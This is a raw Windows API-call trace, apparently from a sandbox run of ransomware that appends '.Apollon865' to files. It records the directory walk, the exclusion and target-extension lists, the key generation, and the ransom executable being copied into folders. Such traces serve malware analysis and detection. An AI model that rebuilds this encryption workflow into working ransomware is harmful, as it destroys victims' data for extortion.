	[0052.905] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.Apollon865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.906] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.Apollon865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0052.906] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=15715) returned 1
	[0052.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0052.907] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0052.907] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.907] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0052.908] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4070, lpName=0x0) returned 0x118
	[0052.910] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4070) returned 0x100000
	[0052.912] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0052.912] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.912] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0052.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.913] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.913] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.913] CloseHandle (hObject=0x118) returned 1
	[0052.913] CloseHandle (hObject=0x15c) returned 1
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0052.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.914] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="windows") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="bootmgr") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="temp") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="pagefile.sys") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="boot") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="ids.txt") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="ntuser.dat") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="perflogs") returned -1
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="MSBuild") returned -1
	[0052.914] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27
	[0052.914] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73
	[0052.914] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="AssemblyList_4_extended.xml" | out: lpString1="AssemblyList_4_extended.xml") returned="AssemblyList_4_extended.xml"
	[0052.914] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27
	[0052.914] lstrlenW (lpString="Apollon865") returned 10
	[0052.914] lstrcmpiW (lpString1="tended.xml", lpString2="Apollon865") returned 1
	[0052.914] lstrlenW (lpString=".dll") returned 4
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".dll") returned 1
	[0052.914] lstrlenW (lpString=".lnk") returned 4
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".lnk") returned 1
	[0052.914] lstrlenW (lpString=".ini") returned 4
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".ini") returned 1
	[0052.914] lstrlenW (lpString=".sys") returned 4
	[0052.914] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".sys") returned 1
	[0052.914] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27
	[0052.914] lstrlenW (lpString="bak") returned 3
	[0052.914] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.914] lstrlenW (lpString="ba_") returned 3
	[0052.914] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.915] lstrlenW (lpString="dbb") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.915] lstrlenW (lpString="vmdk") returned 4
	[0052.915] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.915] lstrlenW (lpString="rar") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.915] lstrlenW (lpString="zip") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.915] lstrlenW (lpString="tgz") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.915] lstrlenW (lpString="vbox") returned 4
	[0052.915] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.915] lstrlenW (lpString="vdi") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.915] lstrlenW (lpString="vhd") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.915] lstrlenW (lpString="vhdx") returned 4
	[0052.915] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.915] lstrlenW (lpString="avhd") returned 4
	[0052.915] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.915] lstrlenW (lpString="db") returned 2
	[0052.915] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.915] lstrlenW (lpString="db2") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.915] lstrlenW (lpString="db3") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.915] lstrlenW (lpString="dbf") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.915] lstrlenW (lpString="mdf") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.915] lstrlenW (lpString="mdb") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.915] lstrlenW (lpString="sql") returned 3
	[0052.915] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.915] lstrlenW (lpString="sqlite") returned 6
	[0052.915] lstrcmpiW (lpString1="ed.xml", lpString2="sqlite") returned -1
	[0052.915] lstrlenW (lpString="sqlite3") returned 7
	[0052.915] lstrcmpiW (lpString1="ded.xml", lpString2="sqlite3") returned -1
	[0052.915] lstrlenW (lpString="sqlitedb") returned 8
	[0052.916] lstrcmpiW (lpString1="nded.xml", lpString2="sqlitedb") returned -1
	[0052.916] lstrlenW (lpString="xml") returned 3
	[0052.916] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.916] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.Apollon865") returned 86
	[0052.916] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.Apollon865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.Apollon865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0052.917] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8220) returned 1
	[0052.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0052.917] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0052.918] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.918] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0052.918] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2320, lpName=0x0) returned 0x118
	[0052.920] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2320) returned 0x100000
	[0052.921] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0052.921] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.921] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0052.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.922] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.922] CloseHandle (hObject=0x118) returned 1
	[0052.922] CloseHandle (hObject=0x15c) returned 1
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0052.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.923] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37996930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37996930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.923] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.923] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37996930, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37996930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.923] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.923] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0052.923] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies"
	[0052.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0052.923] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned 63
	[0052.923] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies"
	[0052.923] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.923] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.928] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x379e2bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x379e2bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.928] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.928] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.929] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.929] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x379e2bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x379e2bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.929] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.929] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.929] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.929] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.929] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="Apollon865.txt.exe") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2=".") returned 1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="..") returned 1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="windows") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="bootmgr") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="temp") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="pagefile.sys") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="boot") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="ids.txt") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="ntuser.dat") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="perflogs") returned -1
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2="MSBuild") returned -1
	[0052.929] lstrlenW (lpString="adodb.dll") returned 9
	[0052.929] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned 65
	[0052.929] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="adodb.dll" | out: lpString1="adodb.dll") returned="adodb.dll"
	[0052.929] lstrlenW (lpString="adodb.dll") returned 9
	[0052.929] lstrlenW (lpString="Apollon865") returned 10
	[0052.929] lstrlenW (lpString=".dll") returned 4
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2=".dll") returned 1
	[0052.929] lstrlenW (lpString=".lnk") returned 4
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2=".lnk") returned 1
	[0052.929] lstrlenW (lpString=".ini") returned 4
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2=".ini") returned 1
	[0052.929] lstrlenW (lpString=".sys") returned 4
	[0052.929] lstrcmpiW (lpString1="adodb.dll", lpString2=".sys") returned 1
	[0052.929] lstrlenW (lpString="adodb.dll") returned 9
	[0052.929] lstrlenW (lpString="bak") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0052.930] lstrlenW (lpString="ba_") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0052.930] lstrlenW (lpString="dbb") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0052.930] lstrlenW (lpString="vmdk") returned 4
	[0052.930] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0052.930] lstrlenW (lpString="rar") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0052.930] lstrlenW (lpString="zip") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0052.930] lstrlenW (lpString="tgz") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0052.930] lstrlenW (lpString="vbox") returned 4
	[0052.930] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0052.930] lstrlenW (lpString="vdi") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0052.930] lstrlenW (lpString="vhd") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0052.930] lstrlenW (lpString="vhdx") returned 4
	[0052.930] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0052.930] lstrlenW (lpString="avhd") returned 4
	[0052.930] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0052.930] lstrlenW (lpString="db") returned 2
	[0052.930] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0052.930] lstrlenW (lpString="db2") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0052.930] lstrlenW (lpString="db3") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0052.930] lstrlenW (lpString="dbf") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0052.930] lstrlenW (lpString="mdf") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0052.930] lstrlenW (lpString="mdb") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0052.930] lstrlenW (lpString="sql") returned 3
	[0052.930] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0052.931] lstrlenW (lpString="sqlite") returned 6
	[0052.931] lstrcmpiW (lpString1="db.dll", lpString2="sqlite") returned -1
	[0052.931] lstrlenW (lpString="sqlite3") returned 7
	[0052.931] lstrcmpiW (lpString1="odb.dll", lpString2="sqlite3") returned -1
	[0052.931] lstrlenW (lpString="sqlitedb") returned 8
	[0052.931] lstrcmpiW (lpString1="dodb.dll", lpString2="sqlitedb") returned -1
	[0052.931] lstrlenW (lpString="xml") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0052.931] lstrlenW (lpString="$er") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0052.931] lstrlenW (lpString="4dd") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0052.931] lstrlenW (lpString="4dl") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0052.931] lstrlenW (lpString="^^^") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0052.931] lstrlenW (lpString="abs") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0052.931] lstrlenW (lpString="abx") returned 3
	[0052.931] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0052.931] lstrlenW (lpString="accdb") returned 5
	[0052.931] lstrcmpiW (lpString1="b.dll", lpString2="accdb") returned 1
	[0052.931] lstrlenW (lpString="accdc") returned 5
	[0052.931] lstrcmpiW (lpString1="b.dll", lpString2="accdc") returned 1
	[0052.931] lstrlenW (lpString="accde") returned 5
	[0052.931] lstrcmpiW (lpString1="b.dll", lpString2="accde") returned 1
	[0052.931] lstrlenW (lpString="accdr") returned 5
	[0052.931] lstrcmpiW (lpString1="b.dll", lpString2="accdr") returned 1
	[0052.931] lstrlenW (lpString="accdt") returned 5
	[0052.932] lstrcmpiW (lpString1="b.dll", lpString2="accdt") returned 1
	[0052.932] lstrlenW (lpString="accdw") returned 5
	[0052.932] lstrcmpiW (lpString1="b.dll", lpString2="accdw") returned 1
	[0052.932] lstrlenW (lpString="accft") returned 5
	[0052.932] lstrcmpiW (lpString1="b.dll", lpString2="accft") returned 1
	[0052.932] lstrlenW (lpString="adb") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.932] lstrlenW (lpString="adb") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.932] lstrlenW (lpString="ade") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0052.932] lstrlenW (lpString="adf") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0052.932] lstrlenW (lpString="adn") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0052.932] lstrlenW (lpString="adp") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0052.932] lstrlenW (lpString="alf") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0052.932] lstrlenW (lpString="ask") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0052.932] lstrlenW (lpString="btr") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0052.932] lstrlenW (lpString="cat") returned 3
	[0052.932] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0052.933] lstrlenW (lpString="cdb") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0052.933] lstrlenW (lpString="ckp") returned 3
	[0052.933] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
